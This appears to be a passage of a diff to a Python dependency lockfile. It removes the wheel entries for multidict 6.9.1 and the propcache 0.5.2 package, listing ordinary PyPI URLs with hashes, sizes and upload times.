-    { url = "https://files.pythonhosted.org/packages/5e/c9/945b44493fbe7af26ffe1e43c506b376daeab070fc1a0923bef9bbf572eb/multidict-6.9.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:6e6b7e3a1520c39a2772f414cd9ddf5995f77e4e823dfa1522af383addd465a3", size = 294751, upload-time = "2026-09-21T17:57:19.631Z" },
-    { url = "https://files.pythonhosted.org/packages/24/79/0969a9b38b814e5fa3af1b0a57708c49b3d9b3d55c208bac6e98b87bb028/multidict-6.9.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:ca65cced0d67a9039e93bcd98a369920e499bf98296844ff56ead01c9085321f", size = 284523, upload-time = "2026-09-21T17:57:21.313Z" },
-    { url = "https://files.pythonhosted.org/packages/1d/1e/c32ddf53234c228b1a374ddabca19f542ac7f32752f5155982abe2304833/multidict-6.9.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:372c063f37480f62c1ae32dc3a1a0a5942b180c883f99789075a8a8ec3c4e709", size = 290275, upload-time = "2026-09-21T17:57:23.206Z" },
-    { url = "https://files.pythonhosted.org/packages/5d/09/7a99a3daafd987330abb865a2d36e432fd8bf18e790ddda55c5de15eb98f/multidict-6.9.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:827c92145b3b976b39430129c89d213b250dacbe5fce678e9a03940e6e848983", size = 303350, upload-time = "2026-09-21T17:57:25.086Z" },
-    { url = "https://files.pythonhosted.org/packages/2e/09/7e6ebaecc4e226d7fe27973c271d58b75c14c24e84c23736d21dc39997dd/multidict-6.9.1-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:9b0124b9c17e9890f0819b2e7a5f65ec9a2f5aabd6c8e7ad090c1675cf70dee6", size = 272232, upload-time = "2026-09-21T17:57:27.193Z" },
-    { url = "https://files.pythonhosted.org/packages/1f/6e/420e9e879b21cbdb5036214ee238efabcfab7bf262d3fc124132050f79ff/multidict-6.9.1-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:23136f5a564654eb61061ec6d5620a4c1ea32c8f552b65e9982a12b72bff601b", size = 300525, upload-time = "2026-09-21T17:57:29.004Z" },
-    { url = "https://files.pythonhosted.org/packages/b7/7f/c6b0896850b3ceb190ca302760d63148843371f027c5dde3d1d732343a08/multidict-6.9.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:f2524ec55b3e65cbe235a8b3c36e2af3b635be02ed05e20c94e70c5c943c009e", size = 295933, upload-time = "2026-09-21T17:57:30.837Z" },
-    { url = "https://files.pythonhosted.org/packages/29/f2/f0ff3384a756227741c72f4ee94cadf1f9900df0ae961e48639f96115b1c/multidict-6.9.1-cp314-cp314t-win32.whl", hash = "sha256:35ba0263bae5dd3ad5aad767cc9afc01a8598c7dae30f1b3b2de98b1b32c28bd", size = 57776, upload-time = "2026-09-21T17:57:32.835Z" },
-    { url = "https://files.pythonhosted.org/packages/8d/87/013e1eed30ad46bec1eb68947bc9caf55ba2fd0d6aed04fe964e3b44c23b/multidict-6.9.1-cp314-cp314t-win_amd64.whl", hash = "sha256:7c8d5882ba25ac0282258be435d8a05aa0cbcacfce15799154a338f847f159b9", size = 64881, upload-time = "2026-09-21T17:57:34.489Z" },
-    { url = "https://files.pythonhosted.org/packages/7f/95/64dd049bb4c53426e2fee7afb874daaa8b4426c41878785883a94511ecf8/multidict-6.9.1-cp314-cp314t-win_arm64.whl", hash = "sha256:ac348379cf4de5538a0a213be1532d289aa801ec5d267c5909446b9ea2f8e2c3", size = 58582, upload-time = "2026-09-21T17:57:36.19Z" },
-    { url = "https://files.pythonhosted.org/packages/a2/2c/26bc1723592cfe965b575652a7749026474b0625b04b04564e1fba265dc5/multidict-6.9.1-cp315-cp315-android_24_x86_64.whl", hash = "sha256:f04551dce5a7db8c9659f2e4245494c182d0663b83661803e08d46bfcae5eda1", size = 62339, upload-time = "2026-09-21T17:57:37.967Z" },
-    { url = "https://files.pythonhosted.org/packages/bd/c5/614d2eb9995232d066aae7f17d1d454060b6b5d882b22fbaf6150b05ef1d/multidict-6.9.1-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:c0c88085affd35c33e124e36930c5ad96aff9294ce195eaa0fd9cec962b64a82", size = 55009, upload-time = "2026-09-21T17:57:39.746Z" },
-    { url = "https://files.pythonhosted.org/packages/7f/24/f7179ecdf9cdd3581ace3292c3b883a1a500a374aa4e619bf6eb521c62e5/multidict-6.9.1-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:a8b75dd3d3638d9a19f23e84af4ffab3b8940422c0df2da2a77005ef5aa3d7ea", size = 56273, upload-time = "2026-09-21T17:57:41.544Z" },
-    { url = "https://files.pythonhosted.org/packages/ac/72/c9dffcecccd1f8b9a58f960ec4eaecab62c4edb08d5bb984d4de67fe3fdb/multidict-6.9.1-cp315-cp315-macosx_10_15_universal2.whl", hash = "sha256:006c4478de0a1876f4834e14255776286f09b9846b505fe63f67f9d173a9487c", size = 96390, upload-time = "2026-09-21T17:57:43.385Z" },
-    { url = "https://files.pythonhosted.org/packages/e9/3f/76542360e655cecdb7c158c7af88c69c4db0d2aac3421659d41214927229/multidict-6.9.1-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:2784090c30a586d5b45197bd9c32f87fb927216cde302f6cfd76d76577e90f08", size = 58900, upload-time = "2026-09-21T17:57:45.105Z" },
-    { url = "https://files.pythonhosted.org/packages/04/15/f28c71af461dd4ff15653a165cfd8ddaf01f3387ff80d2dd0de057d527d0/multidict-6.9.1-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:7c708566da8014b120a64b1eb6d200c6c0c8cb36296383723cdb6fc82038270b", size = 56540, upload-time = "2026-09-21T17:57:46.913Z" },
-    { url = "https://files.pythonhosted.org/packages/19/de/5ee4050c3ddad88c605a89fc1cd18e89abd40a64f183e6fb5276b6eb7f52/multidict-6.9.1-cp315-cp315-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:042fb0196047e786936a730bd302de83143950da45f2c16078da8f35e1cf7919", size = 331818, upload-time = "2026-09-21T17:57:48.825Z" },
-    { url = "https://files.pythonhosted.org/packages/70/e2/2d4e3c3ee70f583334ff236fe6a3babf7a05ce56169a15df65453af647c0/multidict-6.9.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a2212a0c842c723d919ea4a22a9296cb6b244b386e4e6ea92adfc7fbf3095519", size = 329800, upload-time = "2026-09-21T17:57:50.91Z" },
-    { url = "https://files.pythonhosted.org/packages/d6/14/f64bd05667343a7250cdd99f81bda2270e3959f00832441f10c7f904e1c1/multidict-6.9.1-cp315-cp315-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:fd882aa29bf402b62bf1fd7c19fd5df4b6528cf468a908864b39368572b662a9", size = 312048, upload-time = "2026-09-21T17:57:53.053Z" },
-    { url = "https://files.pythonhosted.org/packages/64/bf/a91256ce00199e7544e3eda79c4e9544eb7388c38fa22f11638c2e357ccb/multidict-6.9.1-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c57541034d12b215ab0a2bfa371d1a8a198da18176d0426c27105b9161a6862d", size = 343676, upload-time = "2026-09-21T17:57:55.069Z" },
-    { url = "https://files.pythonhosted.org/packages/14/48/628b978413518159228c2b2ec38645362ceb6427e935d83d716e26490a49/multidict-6.9.1-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d73fed4e37158ff00cd271871170b79e40138db51e625fd352fa17c6acb34f67", size = 347028, upload-time = "2026-09-21T17:57:57.157Z" },
-    { url = "https://files.pythonhosted.org/packages/8c/73/5f9dc2b5ac7dd7a82458ae9cd283b99c185834f23442ace295362dcc5e45/multidict-6.9.1-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:79da2491348b30810728050b4a8ec0416f85884125c2fd44655b3d01150d9c3e", size = 335670, upload-time = "2026-09-21T17:57:59.126Z" },
-    { url = "https://files.pythonhosted.org/packages/f8/84/6f319ee000f5ab3fa0055b194ad706fddd552c60c76a21d581c87db1d46c/multidict-6.9.1-cp315-cp315-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b4da208a63434d21a3df64d29758e650fc4aa8cb05848554b76949c296539cca", size = 307804, upload-time = "2026-09-21T17:58:01.2Z" },
-    { url = "https://files.pythonhosted.org/packages/3f/24/61be5fe1616d033532e8d63dc789c0f35b9793917834713eefe050589ba9/multidict-6.9.1-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:877ca17fdcfdf5c397493a71e5ff97a87bb181417fe717fdadc77c08c09301ac", size = 323409, upload-time = "2026-09-21T17:58:03.383Z" },
-    { url = "https://files.pythonhosted.org/packages/22/a6/eab8aaf59892169a0f4e8e78a5516a6caa6abd8e96e6410111258f4ef0ef/multidict-6.9.1-cp315-cp315-musllinux_1_2_armv7l.whl", hash = "sha256:40aec5299e1ed71fbb988389059da381c3c1a60e0c649acceb2a35d9b128848e", size = 315746, upload-time = "2026-09-21T17:58:05.372Z" },
-    { url = "https://files.pythonhosted.org/packages/42/b1/d1e14bab80a74babf6e2ac971a878b84fdcf3a972f3ec3400ca12260fac5/multidict-6.9.1-cp315-cp315-musllinux_1_2_i686.whl", hash = "sha256:4a409ccc42aefec904038695d5d7fd6d8f3af2721b7b6401d55135ec7d6d298e", size = 334529, upload-time = "2026-09-21T17:58:07.35Z" },
-    { url = "https://files.pythonhosted.org/packages/f5/50/a05b1d36f6d3363a5a334cebbf11624c9c7a69d66fd23345eb53b1d43b7e/multidict-6.9.1-cp315-cp315-musllinux_1_2_ppc64le.whl", hash = "sha256:0a5769559e3312dd96731fbe15b4abb6033368ac1cad5a98dadd21946a4c7d6c", size = 336455, upload-time = "2026-09-21T17:58:09.112Z" },
-    { url = "https://files.pythonhosted.org/packages/cd/0d/bf33cb097380252b08e1177b5ae0cab822c47ce80d236f3f724953c76721/multidict-6.9.1-cp315-cp315-musllinux_1_2_riscv64.whl", hash = "sha256:03fac50ddfd8302175b77863a015eccfae76767cda5506eef86df559ba861e1f", size = 305865, upload-time = "2026-09-21T17:58:10.921Z" },
-    { url = "https://files.pythonhosted.org/packages/ba/ee/a2bd133391204b1cec5a5caf327dc9a06710439b7403220860a8fb164560/multidict-6.9.1-cp315-cp315-musllinux_1_2_s390x.whl", hash = "sha256:5ecace251ccfa705bf3d7d35c5032cf750f5c629809740405697bce5c118c4a4", size = 337531, upload-time = "2026-09-21T17:58:12.846Z" },
-    { url = "https://files.pythonhosted.org/packages/a8/32/c0972486f81a06c3bbb23063c85afaac53c51608f7e35bcb101a1006408b/multidict-6.9.1-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:ecc89dbd4155b2f8a47f4bbd89242a35ed15e8e0ec581cab5ac65fa38407329d", size = 332464, upload-time = "2026-09-21T17:58:14.673Z" },
-    { url = "https://files.pythonhosted.org/packages/69/4f/5cbbe852b45d8a7f0ab3ed042386e4894e463010eb230603596cb15d0fee/multidict-6.9.1-cp315-cp315-win32.whl", hash = "sha256:a3ffe881246d28a862f1985824f484cb7361f44d6b99c4c620436ef56462f38d", size = 51714, upload-time = "2026-09-21T17:58:16.409Z" },
-    { url = "https://files.pythonhosted.org/packages/d4/77/1fa118386deeae4e7a48870fa5cb073e748b0ac5265a6990651cefc48068/multidict-6.9.1-cp315-cp315-win_amd64.whl", hash = "sha256:59c123d0e948d760a5f930f316cfefa07e8d632ab84327c0693ee6a88171154f", size = 58619, upload-time = "2026-09-21T17:58:18.369Z" },
-    { url = "https://files.pythonhosted.org/packages/dd/ee/51c45748acfce9cb69d89dcfcd09c874b385407fd6993e885d6905659865/multidict-6.9.1-cp315-cp315-win_arm64.whl", hash = "sha256:31199204b3ced121ff5407a2c342326a5d27e3870abbf94bd80dbd2451b7bc8f", size = 53969, upload-time = "2026-09-21T17:58:20.102Z" },
-    { url = "https://files.pythonhosted.org/packages/aa/57/89d2d3dedfae2558853c1770c7cbcdfd5211eb4c4090b1e8cb570544a490/multidict-6.9.1-cp315-cp315t-macosx_10_15_universal2.whl", hash = "sha256:8879510a76940670517ea1cb589978da44b86e286ec3e50d664ef330817afce7", size = 107679, upload-time = "2026-09-21T17:58:21.98Z" },
-    { url = "https://files.pythonhosted.org/packages/c8/df/0c2a28870181c1762f90952b897f6db46c934ce073efe0442604cbc276db/multidict-6.9.1-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:aec65b53a07f580606593f877eefbb29a45939bfc0d3fe6e6d9f42b41b749f68", size = 64753, upload-time = "2026-09-21T17:58:23.622Z" },
-    { url = "https://files.pythonhosted.org/packages/43/7e/9c6a3e7619459407d8958f7e56ab3dda7f0738f5aed9bb4ad48076e8de83/multidict-6.9.1-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:14c56f73e78faa1f68bbb826197cd5871994e70e841b8590829c35912ece5c64", size = 62732, upload-time = "2026-09-21T17:58:25.46Z" },
-    { url = "https://files.pythonhosted.org/packages/38/eb/fd56c9d83ba0cdc3cf66f9acb278b24ef1f043b620b96d145685a3b57338/multidict-6.9.1-cp315-cp315t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:38c9986f9ce50c459b10de216a05f4bd7ed5ac63887d56e500a52bb464b861ce", size = 288648, upload-time = "2026-09-21T17:58:27.115Z" },
-    { url = "https://files.pythonhosted.org/packages/df/ef/51e79c2442b0f56ac4ac580108d713078b31297e028d468fc220971a305d/multidict-6.9.1-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:15db6a102cbaf1949cf028ecf080aac76d20bcd29ad4e092574db6c6b7af78a5", size = 304919, upload-time = "2026-09-21T17:58:29.143Z" },
-    { url = "https://files.pythonhosted.org/packages/6f/e4/774700cc5739353fe88a7204ed30e78a9403d98d4bb2496cc91f096d2e71/multidict-6.9.1-cp315-cp315t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:bd82c4977196681a499bb6ca9e462afbc5c91c1c15b6a991dfbd72733fea4dd2", size = 289094, upload-time = "2026-09-21T17:58:30.938Z" },
-    { url = "https://files.pythonhosted.org/packages/ca/41/0bec327bc3a8271825376b6d8a469d1f80e3ba1e2e730e019836e29663c3/multidict-6.9.1-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:bb58ba73a3f96f9a3e46b1fab69929d7edbbddb3133ee74b5c3c54074a53c4f1", size = 312007, upload-time = "2026-09-21T17:58:32.964Z" },
-    { url = "https://files.pythonhosted.org/packages/c3/7a/9906bf5f1fe20e8e755affccc1a69ecd8aebb079ac65386e5ffc8eefbe75/multidict-6.9.1-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7c6eecfab7ce4cd9487ff8ba936fe38cdfd68c04faf3d5c710363c6a8e695659", size = 314657, upload-time = "2026-09-21T17:58:35.285Z" },
-    { url = "https://files.pythonhosted.org/packages/33/92/cf6d665a45663bbe216420fe632da10e9f4f842b07ce02bc3ddf8eb882b8/multidict-6.9.1-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9c62e71e6289d78c0108d8aeb495f8bd3cad4bc1632fedddc9297ddf287ecc20", size = 301563, upload-time = "2026-09-21T17:58:37.472Z" },
-    { url = "https://files.pythonhosted.org/packages/97/4c/9f1b7945526905d58b4b2d422e2ea81326dda71f9bdc9c32c8002639234a/multidict-6.9.1-cp315-cp315t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:539c2cd5fed0947c135cd7eabaaac55f48300dfa1de0f3ca4edb5efa6606f471", size = 278540, upload-time = "2026-09-21T17:58:39.551Z" },
-    { url = "https://files.pythonhosted.org/packages/5c/d9/133aa472fc1be181de29a0c2e1c4cd778280882f532b404395f646742e46/multidict-6.9.1-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:3100d169ceb7bc8f05f89a6db11d1b21f119975fc26f29dc45a472e3569f0879", size = 294858, upload-time = "2026-09-21T17:58:41.791Z" },
-    { url = "https://files.pythonhosted.org/packages/bd/38/21f2305dd20ac5038fa581b5d7e0d8dbbd70dc6b50231c22ec173dacddda/multidict-6.9.1-cp315-cp315t-musllinux_1_2_armv7l.whl", hash = "sha256:696477ad71385c4795e3b8e4cf10b0d2c28c2a1ca6a955e031cb1e62993e9ee3", size = 285461, upload-time = "2026-09-21T17:58:43.844Z" },
-    { url = "https://files.pythonhosted.org/packages/ad/21/465a43c214d1d7e2d0c974e727d4b5935f8a0868838b5df9d0984c83c1dc/multidict-6.9.1-cp315-cp315t-musllinux_1_2_i686.whl", hash = "sha256:f5844e7befc707367807586f550fa97e23dcfef0728f02b98c7bc498a961a5df", size = 288964, upload-time = "2026-09-21T17:58:46.16Z" },
-    { url = "https://files.pythonhosted.org/packages/2d/58/72a3e8d56c1e05146d2d1841dbaacf8986375eded1e5a58d30eef191a580/multidict-6.9.1-cp315-cp315t-musllinux_1_2_ppc64le.whl", hash = "sha256:abc7c2e4b47bfe6a9aea434d3fdebb9597ee636e914e92ba352f2068b9142f4c", size = 303924, upload-time = "2026-09-21T17:58:48.395Z" },
-    { url = "https://files.pythonhosted.org/packages/6f/b9/911084c04530a682a54536b4f738d3992a593b5ff6fea1d6a1f02f3acc6b/multidict-6.9.1-cp315-cp315t-musllinux_1_2_riscv64.whl", hash = "sha256:7ab379f95caee071a37cbd8be86d4c65accc651d391f9f97748fef006f38769c", size = 278479, upload-time = "2026-09-21T17:58:50.494Z" },
-    { url = "https://files.pythonhosted.org/packages/45/eb/9a333346c02c928a9e82534638bce85697c10c46b4901fcd70af19357356/multidict-6.9.1-cp315-cp315t-musllinux_1_2_s390x.whl", hash = "sha256:557a4e1708df428ebe6c3081c83a273d275dad2446ce0d81fc648ac71afdb18d", size = 301650, upload-time = "2026-09-21T17:58:52.554Z" },
-    { url = "https://files.pythonhosted.org/packages/67/2f/1d936c4e45c8199db6082b6836e9182e31aa393de0de652637790831ca4b/multidict-6.9.1-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:475d04d5192eba487a3e2f935976340baa24529046e9c1c9c7a3b7bf80445ae1", size = 298024, upload-time = "2026-09-21T17:58:55.03Z" },
-    { url = "https://files.pythonhosted.org/packages/a4/0c/ca62ae2882b89a4cfeb0bbca873a4afdb5fc32994c4f8a37a7cb52ede7a0/multidict-6.9.1-cp315-cp315t-win32.whl", hash = "sha256:10083a8a0f4e1b26b599889e90b9802504ce5d3f7722f925bbb7ca47dd22a7c1", size = 57810, upload-time = "2026-09-21T17:58:57.141Z" },
-    { url = "https://files.pythonhosted.org/packages/02/8b/b2c2805c3eb6fa4cdf5512fb95ac6174dde71e34dd601c5be52f4df5dc82/multidict-6.9.1-cp315-cp315t-win_amd64.whl", hash = "sha256:e96ca64383efa107262ee3949f047af5ee4f1845ba09463466c04d35a83bd3ec", size = 64984, upload-time = "2026-09-21T17:58:59.446Z" },
-    { url = "https://files.pythonhosted.org/packages/fd/34/03f1d204d698c408f4754c969882609b6b7a902c0e3d16a7033f219cdeda/multidict-6.9.1-cp315-cp315t-win_arm64.whl", hash = "sha256:501ed8b02a5990c67a91c732843609d43a6be1f7576fcdfc867331239f37fbd3", size = 58742, upload-time = "2026-09-21T17:59:01.726Z" },
-    { url = "https://files.pythonhosted.org/packages/be/59/e26cb779be4c591d1a910f59d29aca9fba4de70349840a833beba2652371/multidict-6.9.1-py3-none-any.whl", hash = "sha256:7bf6478188f4e47bf5686e8a33da4ae28bf43b1b2528d9ee144d28492bfac60b", size = 19176, upload-time = "2026-09-21T17:59:03.501Z" },
-]
-
 [[package]]
 name = "mypy"
 version = "2.3.1"
@@ -2730,134 +2220,6 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/45/e2/bbb7129c9e7999a6b8ee9cca3b66486c25c423ab5a75f34071798b74ce94/pre_commit-4.6.2-py2.py3-none-any.whl", hash = "sha256:e2dde9a75d3bce11bd3831c26d134df00a2803c1d818be6a0383c3dcda25dc4e", size = 226202, upload-time = "2026-08-10T22:07:16.942Z" },
 ]
 
-[[package]]
-name = "propcache"
-version = "0.5.2"
-source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/ec/44/c87281c333769159c50594f22610f77398a47ccbfbbf23074e744e86f87c/propcache-0.5.2.tar.gz", hash = "sha256:01c4fc7480cd0598bb4b57022df55b9ca296da7fc5a8760bd8451a7e63a7d427", size = 50208, upload-time = "2026-05-08T21:02:12.199Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/5b/56/030b7b4719d53085722893e0009dffb9236aa10bca1b12121bdc5626ef16/propcache-0.5.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d5a81be28596d6559f6131ef33e10200de6e17643b3c74ce03f9eb103be6ae8b", size = 93417, upload-time = "2026-05-08T20:59:15.597Z" },
-    { url = "https://files.pythonhosted.org/packages/1a/55/1140a8e067b8ec093a18a4ae7bb0045d9db65da38a08618ddc5e2f1994aa/propcache-0.5.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:29cbaac5ea0212663e6845e04b5e188d5a6ae6dd919810ac835bf1d3b42c3f4c", size = 53847, upload-time = "2026-05-08T20:59:17.096Z" },
-    { url = "https://files.pythonhosted.org/packages/20/42/0e7443c90310498561addf346e7d57fe3c6ba1914e1ba938b5464c7bbfd2/propcache-0.5.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:6bf3be92233808fcd338eba0fb4d0b59ec5772af4f4ecfcec450d1bfc0f8b5eb", size = 53512, upload-time = "2026-05-08T20:59:18.64Z" },
-    { url = "https://files.pythonhosted.org/packages/b7/db/cf51a71bab2009517d1a7f0ee07657e3bd446c4d69f67e6966cf17bcf956/propcache-0.5.2-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2f8ea531c794b9d6274acd4e8d2c2ebcac590a4361d27482edd3010b79f1325e", size = 58068, upload-time = "2026-05-08T20:59:20.683Z" },
-    { url = "https://files.pythonhosted.org/packages/b7/43/39b6bdee9699fa1e1641c519feeb64a67e2a9f93bb465c70776b37a7333f/propcache-0.5.2-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:decfca4c79dd53ebab484b00cc4b6717d8c369f86e74aa4ca395a64ac651495e", size = 61020, upload-time = "2026-05-08T20:59:22.112Z" },
-    { url = "https://files.pythonhosted.org/packages/26/0b/843726fbb0a29a8c5684fdb25971823638399f31e52e9d1f06a02dc9aa6b/propcache-0.5.2-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4621064bbf28fa77ff64dd5d94367c04684c67d3a5bf1dff25f0cd0d98a38f3b", size = 62732, upload-time = "2026-05-08T20:59:23.805Z" },
-    { url = "https://files.pythonhosted.org/packages/39/6e/899fed76dc1942b8a64193a4f059d7f1a2c7ef65085e8a9366ed8ec0d199/propcache-0.5.2-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b96db7141a592cbc968daf1feea83a118e6ab378af4abbc72b248c895414c22d", size = 60140, upload-time = "2026-05-08T20:59:25.389Z" },
-    { url = "https://files.pythonhosted.org/packages/ab/09/3da4be9b5b879219ad234aa535b3dd4a080ed1ad48d3a73ca07a9e798f22/propcache-0.5.2-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1ca071adabaab6e9219924bbe00af821f1ee7de113a9eca1cdc292de3d120f4d", size = 60400, upload-time = "2026-05-08T20:59:27.238Z" },
-    { url = "https://files.pythonhosted.org/packages/60/2f/09b72b874a9aa0044faf52a69807a6ed618e267ceaa9ec4a63195fa5b504/propcache-0.5.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:e4294d04a94dcab1b3bccd8b66d962dcad411a1d19414b2a41d1445f1de32ad0", size = 58155, upload-time = "2026-05-08T20:59:28.48Z" },
-    { url = "https://files.pythonhosted.org/packages/8a/37/97489848c54c95578045473954f10956d619ce6a09e7ac137b71cdcb698b/propcache-0.5.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:a0e399a2eccb91ed18721f86aa85757727400b6865c89e88934781deb9c8498b", size = 57037, upload-time = "2026-05-08T20:59:30.146Z" },
-    { url = "https://files.pythonhosted.org/packages/22/db/6c695285ccfc49012743ee9c98212b8c5dd0aed7b63cfd816d4a0f7a1601/propcache-0.5.2-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:823581fd5cb08b12a48bfa11fe962a7916766b6170c17b028fbdf762b85eb9bf", size = 61103, upload-time = "2026-05-08T20:59:31.626Z" },
-    { url = "https://files.pythonhosted.org/packages/98/a9/1e500401ca593b0bdb6bf75a70bc2d723835fd53360edff6af70692c7546/propcache-0.5.2-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:949c91d1a990cf3b2e8188dfcfb25005e0b834a06c63fa4ef9f360878ce21ecf", size = 60394, upload-time = "2026-05-08T20:59:32.829Z" },
-    { url = "https://files.pythonhosted.org/packages/1f/87/f638b6e375eae0f30a1a2325d8b34fd85fdc785bb9960cf805f3bf1ec69a/propcache-0.5.2-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:cc1177027eda740fdb152706bd215a3f124e3eea15afc39f2cb9fe351b50619e", size = 63084, upload-time = "2026-05-08T20:59:35.964Z" },
-    { url = "https://files.pythonhosted.org/packages/f6/18/884573f5d97b6d9eba68de759a82c901b7e39d7904d30f7b8d58d42d2a12/propcache-0.5.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b05d643f944a8c3c4bd86d65ffd87bf3264b617f87791940302bc474d2ff5274", size = 60999, upload-time = "2026-05-08T20:59:38.481Z" },
-    { url = "https://files.pythonhosted.org/packages/8f/1a/c3915eb059ceec9e758a56e4cfd955292bc0f201be2176a46b76d94b303a/propcache-0.5.2-cp310-cp310-win32.whl", hash = "sha256:8114f28879e0904748e831c3a7774261bd9e75f49be089f389a76f959dcd13fe", size = 39036, upload-time = "2026-05-08T20:59:40.323Z" },
-    { url = "https://files.pythonhosted.org/packages/5b/02/1dfd5607501a602d19c1c449d2d193b7d1c611f9246b4059026a1189a80e/propcache-0.5.2-cp310-cp310-win_amd64.whl", hash = "sha256:5fcb98e7598b1ee0addab320d90f65b530297a867dbfe9de52ea838077e16e3d", size = 42190, upload-time = "2026-05-08T20:59:42.232Z" },
-    { url = "https://files.pythonhosted.org/packages/57/93/f71588ad08b3e6f4b555b5ef215808a3c02b042d0151ad82fa6f15be677a/propcache-0.5.2-cp310-cp310-win_arm64.whl", hash = "sha256:04dc2390d9edbbaef7461f33322555976ffddf0b650a038649d026358714e6c5", size = 38545, upload-time = "2026-05-08T20:59:44.087Z" },
-    { url = "https://files.pythonhosted.org/packages/e7/f1/8a8cc1c2c7e7934ab77e0163414f736fadbc0f5e8dd9673b952355ac175b/propcache-0.5.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:74b70780220e2dd89175ca24b81b68b67c83db499ae611e7f2313cb329801c78", size = 90744, upload-time = "2026-05-08T20:59:45.799Z" },
-    { url = "https://files.pythonhosted.org/packages/c2/f4/651b1225e976bd1a2ba5cfba0c29d096581c2636b437e3a9a7ab6276270a/propcache-0.5.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a4840ab0ae0216d952f4b53dc6d0b992bfc2bedbfe360bdd9b548bc184c08959", size = 52033, upload-time = "2026-05-08T20:59:47.408Z" },
-    { url = "https://files.pythonhosted.org/packages/15/a8/8ede85d6aa1f79fc7dc2f8fd2c8d65920b8272c3892903c8a1affde48cfb/propcache-0.5.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c6844ba6364fb12f403928a82cfd295ab103a2b315c77c747b2dbe4a41894ea7", size = 52754, upload-time = "2026-05-08T20:59:49.202Z" },
-    { url = "https://files.pythonhosted.org/packages/7d/fe/b3551b41bbc2f5b5bb088fc6920567cd43101253e68fbaa261339eb96fe1/propcache-0.5.2-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2293949b855ce597f2826452d17c2d545fb5622379c4ea6fdf525e9b8e8a2511", size = 57573, upload-time = "2026-05-08T20:59:50.778Z" },
-    { url = "https://files.pythonhosted.org/packages/83/27/ab851ebd1b7172e3e161f5f8d39e315d54a91bea246f01f4d872d3376aef/propcache-0.5.2-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0fd59b5af35f74da48d905dcbad55449ba13be91823cb05a9bd590bbf5b61660", size = 60645, upload-time = "2026-05-08T20:59:52.227Z" },
